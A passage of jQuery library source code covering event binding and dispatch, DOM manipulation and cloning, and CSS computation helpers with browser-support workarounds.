catch ( err ) { } } function on( elem, types, selector, data, fn, one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { on( elem, type, selector, data, types[ type ], one ); } return elem; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return elem; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return elem.each( function() { jQuery.event.add( this, types, fn, data, selector ); } ); } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.get( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !( events = elemData.events ) ) { events = elemData.events = {}; } if ( !( eventHandle = elemData.handle ) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.dispatch.apply( elem, arguments ) : undefined; }; } // Handle multiple events separated by a space types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend( { type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join( "." ) }, handleObjIn ); // Init the event handler queue if we're the first if ( !( handlers = events[ type ] ) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); if ( !elemData || !( events = elemData.events ) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[ 2 ] && new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove data and the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { dataPriv.remove( elem, "handle events" ); } }, dispatch: function( event ) { // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( event ); var i, j, ret, matched, handleObj, handlerQueue = [], args = slice.call( arguments ), handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[ 0 ] = event; event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( ( handleObj = matched.handlers[ j++ ] ) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or 2) have namespace(s) // a subset or equal to those in the bound event (both can have no namespace). if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || handleObj.handler ).apply( matched.elem, args ); if ( ret !== undefined ) { if ( ( event.result = ret ) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, matches, sel, handleObj, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Support (at least): Chrome, IE9 // Find delegate handlers // Black-hole SVG <use> instance trees (#13180) // // Support: Firefox<=42+ // Avoid non-left-click in FF but don't block IE radio events (#3861, gh-2343) if ( delegateCount && cur.nodeType && ( event.type !== "click" || isNaN( event.button ) || event.button < 1 ) ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't check non-elements (#13208) // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.nodeType === 1 && ( cur.disabled !== true || event.type !== "click" ) ) { matches = []; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matches[ sel ] === undefined ) { matches[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) > -1 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matches[ sel ] ) { matches.push( handleObj ); } } if ( matches.length ) { handlerQueue.push( { elem: cur, handlers: matches } ); } } } } // Add the remaining (directly-bound) handlers if ( delegateCount < handlers.length ) { handlerQueue.push( { elem: this, handlers: handlers.slice( delegateCount ) } ); } return handlerQueue; }, // Includes some event props shared by KeyEvent and MouseEvent props: ( "altKey bubbles cancelable ctrlKey currentTarget detail eventPhase " + "metaKey relatedTarget shiftKey target timeStamp view which" ).split( " " ), fixHooks: {}, keyHooks: { props: "char charCode key keyCode".split( " " ), filter: function( event, original ) { // Add which for key events if ( event.which == null ) { event.which = original.charCode != null ? original.charCode : original.keyCode; } return event; } }, mouseHooks: { props: ( "button buttons clientX clientY offsetX offsetY pageX pageY " + "screenX screenY toElement" ).split( " " ), filter: function( event, original ) { var eventDoc, doc, body, button = original.button; // Calculate pageX/Y if missing and clientX/Y available if ( event.pageX == null && original.clientX != null ) { eventDoc = event.target.ownerDocument || document; doc = eventDoc.documentElement; body = eventDoc.body; event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); } // Add which for click: 1 === left; 2 === middle; 3 === right // Note: button is not normalized, so don't use it if ( !event.which && button !== undefined ) { event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); } return event; } }, fix: function( event ) { if ( event[ jQuery.expando ] ) { return event; } // Create a writable copy of the event object and normalize some properties var i, prop, copy, type = event.type, originalEvent = event, fixHook = this.fixHooks[ type ]; if ( !fixHook ) { this.fixHooks[ type ] = fixHook = rmouseEvent.test( type ) ? this.mouseHooks : rkeyEvent.test( type ) ? this.keyHooks : {}; } copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; event = new jQuery.Event( originalEvent ); i = copy.length; while ( i-- ) { prop = copy[ i ]; event[ prop ] = originalEvent[ prop ]; } // Support: Cordova 2.5 (WebKit) (#13255) // All events should have a target; Cordova deviceready doesn't if ( !event.target ) { event.target = document; } // Support: Safari 6.0+, Chrome<28 // Target should not be a text node (#504, #13143) if ( event.target.nodeType === 3 ) { event.target = event.target.parentNode; } return fixHook.filter ? fixHook.filter( event, originalEvent ) : event; }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { this.focus(); return false; } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return jQuery.nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } } }; jQuery.removeEvent = function( elem, type, handle ) { // This "if" is needed for plain objects if ( elem.removeEventListener ) { elem.removeEventListener( type, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !( this instanceof jQuery.Event ) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: Android<4.0 src.returnValue === false ? returnTrue : returnFalse; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { constructor: jQuery.Event, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, isSimulated: false, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && !this.isSimulated ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Create mouseenter/leave events using mouseover/out and event-time checks // so that event delegation works in jQuery. // Do the same for pointerenter/pointerleave and pointerover/pointerout // // Support: Safari 7 only // Safari sends mouseenter too often; see: // https://code.google.com/p/chromium/issues/detail?id=470258 // for the description of the bug (it existed in older Chrome versions as well). jQuery.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mouseenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; } ); jQuery.fn.extend( { on: function( types, selector, data, fn ) { return on( this, types, selector, data, fn ); }, one: function( types, selector, data, fn ) { return on( this, types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each( function() { jQuery.event.remove( this, types, fn, selector ); } ); } } ); var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi, // Support: IE 10-11, Edge 10240+ // In IE/Edge using regex groups here causes severe slowdowns. // See https://connect.microsoft.com/IE/feedback/details/1736512/ rnoInnerhtml = /<script|<style|<link/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rscriptTypeMasked = /^true\/(.*)/, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; // Manipulating tables requires a tbody function manipulationTarget( elem, content ) { return jQuery.nodeName( elem, "table" ) && jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ? elem.getElementsByTagName( "tbody" )[ 0 ] || elem.appendChild( elem.ownerDocument.createElement( "tbody" ) ) : elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; return elem; } function restoreScript( elem ) { var match = rscriptTypeMasked.exec( elem.type ); if ( match ) { elem.type = match[ 1 ]; } else { elem.removeAttribute( "type" ); } return elem; } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( dataPriv.hasData( src ) ) { pdataOld = dataPriv.access( src ); pdataCur = dataPriv.set( dest, pdataOld ); events = pdataOld.events; if ( events ) { delete pdataCur.handle; pdataCur.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( dataUser.hasData( src ) ) { udataOld = dataUser.access( src ); udataCur = jQuery.extend( {}, udataOld ); dataUser.set( dest, udataCur ); } } // Fix IE bugs, see support tests function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } function domManip( collection, args, callback, ignored ) { // Flatten any nested arrays args = concat.apply( [], args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = collection.length, iNoClone = l - 1, value = args[ 0 ], isFunction = jQuery.isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( isFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return collection.each( function( index ) { var self = collection.eq( index ); if ( isFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } domManip( self, args, callback, ignored ); } ); } if ( l ) { fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } // Require either new content or an interest in ignored elements to invoke the callback if ( first || ignored ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item // instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: Android<4.1, PhantomJS<2 // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( collection[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !dataPriv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl ) { jQuery._evalUrl( node.src ); } } else { jQuery.globalEval( node.textContent.replace( rcleanScript, "" ) ); } } } } } } return collection; } function remove( elem, selector, keepData ) { var node, nodes = selector ? jQuery.filter( selector, elem ) : elem, i = 0; for ( ; ( node = nodes[ i ] ) != null; i++ ) { if ( !keepData && node.nodeType === 1 ) { jQuery.cleanData( getAll( node ) ); } if ( node.parentNode ) { if ( keepData && jQuery.contains( node.ownerDocument, node ) ) { setGlobalEval( getAll( node, "script" ) ); } node.parentNode.removeChild( node ); } } return elem; } jQuery.extend( { htmlPrefilter: function( html ) { return html.replace( rxhtmlTag, "<$1></$2>" ); }, clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = jQuery.contains( elem.ownerDocument, elem ); // Fix IE cloning issues if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, cleanData: function( elems ) { var data, elem, type, special = jQuery.event.special, i = 0; for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { if ( acceptData( elem ) ) { if ( ( data = elem[ dataPriv.expando ] ) ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Support: Chrome <= 35-45+ // Assign undefined instead of using delete, see Data#remove elem[ dataPriv.expando ] = undefined; } if ( elem[ dataUser.expando ] ) { // Support: Chrome <= 35-45+ // Assign undefined instead of using delete, see Data#remove elem[ dataUser.expando ] = undefined; } } } } } ); jQuery.fn.extend( { // Keep domManip exposed until 3.0 (gh-2225) domManip: domManip, detach: function( selector ) { return remove( this, selector, true ); }, remove: function( selector ) { return remove( this, selector ); }, text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().each( function() { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { this.textContent = value; } } ); }, null, value, arguments.length ); }, append: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } } ); }, prepend: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } } ); }, before: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } } ); }, after: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } } ); }, empty: function() { var elem, i = 0; for ( ; ( elem = this[ i ] ) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); } ); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = jQuery.htmlPrefilter( value ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch ( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var ignored = []; // Make the changes, replacing each non-ignored context element with the new content return domManip( this, arguments, function( elem ) { var parent = this.parentNode; if ( jQuery.inArray( this, ignored ) < 0 ) { jQuery.cleanData( getAll( this ) ); if ( parent ) { parent.replaceChild( elem, this ); } } // Force callback invocation }, ignored ); } } ); jQuery.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: QtWebKit // .get() because push.apply(_, arraylike) throws push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; } ); var iframe, elemdisplay = { // Support: Firefox // We have to pre-define these values for FF (#10227) HTML: "block", BODY: "block" }; /** * Retrieve the actual display of a element * @param {String} name nodeName of the element * @param {Object} doc Document object */ // Called only from within defaultDisplay function actualDisplay( name, doc ) { var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ), display = jQuery.css( elem[ 0 ], "display" ); // We don't have any data stored on the element, // so use "detach" method as fast way to get rid of the element elem.detach(); return display; } /** * Try to determine the default display value of an element * @param {String} nodeName */ function defaultDisplay( nodeName ) { var doc = document, display = elemdisplay[ nodeName ]; if ( !display ) { display = actualDisplay( nodeName, doc ); // If the simple way fails, read from inside an iframe if ( display === "none" || !display ) { // Use the already-created iframe if possible iframe = ( iframe || jQuery( "<iframe frameborder='0' width='0' height='0'/>" ) ) .appendTo( doc.documentElement ); // Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse doc = iframe[ 0 ].contentDocument; // Support: IE doc.write(); doc.close(); display = actualDisplay( nodeName, doc ); iframe.detach(); } // Store the correct default display elemdisplay[ nodeName ] = display; } return display; } var rmargin = ( /^margin/ ); var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); var getStyles = function( elem ) { // Support: IE<=11+, Firefox<=30+ (#15098, #14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" var view = elem.ownerDocument.defaultView; if ( !view || !view.opener ) { view = window; } return view.getComputedStyle( elem ); }; var swap = function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; var documentElement = document.documentElement; ( function() { var pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal, container = document.createElement( "div" ), div = document.createElement( "div" ); // Finish early in limited (non-browser) environments if ( !div.style ) { return; } // Support: IE9-11+ // Style of cloned element affects source element cloned (#8908) div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; container.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;" + "padding:0;margin-top:1px;position:absolute"; container.appendChild( div ); // Executing both pixelPosition & boxSizingReliable tests require only one layout // so they're executed at the same time to save the second computation. function computeStyleTests() { div.style.cssText = // Support: Firefox<29, Android 2.3 // Vendor-prefix box-sizing "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;" + "position:relative;display:block;" + "margin:auto;border:1px;padding:1px;" + "top:1%;width:50%"; div.innerHTML = ""; documentElement.appendChild( container ); var divStyle = window.getComputedStyle( div ); pixelPositionVal = divStyle.top !== "1%"; reliableMarginLeftVal = divStyle.marginLeft === "2px"; boxSizingReliableVal = divStyle.width === "4px"; // Support: Android 4.0 - 4.3 only // Some styles come back with percentage values, even though they shouldn't div.style.marginRight = "50%"; pixelMarginRightVal = divStyle.marginRight === "4px"; documentElement.removeChild( container ); } jQuery.extend( support, { pixelPosition: function() { // This test is executed only once but we still do memoizing // since we can use the boxSizingReliable pre-computing. // No need to check if the test was already performed, though. computeStyleTests(); return pixelPositionVal; }, boxSizingReliable: function() { if ( boxSizingReliableVal == null ) { computeStyleTests(); } return boxSizingReliableVal; }, pixelMarginRight: function() { // Support: Android 4.0-4.3 // We're checking for boxSizingReliableVal here instead of pixelMarginRightVal // since that compresses better and they're computed together anyway. if ( boxSizingReliableVal == null ) { computeStyleTests(); } return pixelMarginRightVal; }, reliableMarginLeft: function() { // Support: IE <=8 only, Android 4.0 - 4.3 only, Firefox <=3 - 37 if ( boxSizingReliableVal == null ) { computeStyleTests(); } return reliableMarginLeftVal; }, reliableMarginRight: function() { // Support: Android 2.3 // Check if div with explicit width and no margin-right incorrectly // gets computed margin-right based on width of container. (#3333) // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right // This support function is only executed once so no memoizing is needed. var ret, marginDiv = div.appendChild( document.createElement( "div" ) ); // Reset CSS: box-sizing; display; margin; border; padding marginDiv.style.cssText = div.style.cssText = // Support: Android 2.3 // Vendor-prefix box-sizing "-webkit-box-sizing:content-box;box-sizing:content-box;" + "display:block;margin:0;border:0;padding:0"; marginDiv.style.marginRight = marginDiv.style.width = "0"; div.style.width = "1px"; documentElement.appendChild( container ); ret = !parseFloat( window.getComputedStyle( marginDiv ).marginRight ); documentElement.removeChild( container ); div.removeChild( marginDiv ); return ret; } } ); } )(); function curCSS( elem, name, computed ) { var width, minWidth, maxWidth, ret, style = elem.style; computed = computed || getStyles( elem ); ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined; // Support: Opera 12.1x only // Fall back to style even without computed // computed is undefined for elems on document fragments if ( ( ret === "" || ret === undefined ) && !jQuery.contains( elem.ownerDocument, elem ) ) { ret = jQuery.style( elem, name ); } // Support: IE9 // getPropertyValue is only needed for .css('filter') (#12537) if ( computed ) { // A tribute to the "awesome hack by Dean Edwards" // Android Browser returns percentage for some values, // but width seems to be reliably pixels. // This is against the CSSOM draft spec: // http://dev.w3.org/csswg/cssom/#resolved-values if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret !== undefined ? // Support: IE9-11+ // IE returns zIndex value as an integer. ret + "" : ret; } function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { if ( conditionFn() ) { // Hook not needed (or it's not possible to use it due // to missing dependency), remove it. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return ( this.get = hookFn ).apply( this, arguments ); } }; } var // Swappable if display is none or starts with table // except "table", "table-cell", or "table-caption" // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }, cssPrefixes = [ "Webkit", "O", "Moz", "ms" ], emptyStyle = document.createElement( "div" ).style; // Return a css property mapped to a potentially vendor prefixed property function vendorPropName( name ) { // Shortcut for names that are not vendor prefixed if ( name in emptyStyle ) { return name; } // Check for vendor prefixed names var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in emptyStyle ) { return name; } } } function setPositiveNumber( elem, value, subtract ) { // Any relative (+/-) values have already been // normalized at this point var matches = rcssNum.exec( value ); return matches ? // Guard against undefined 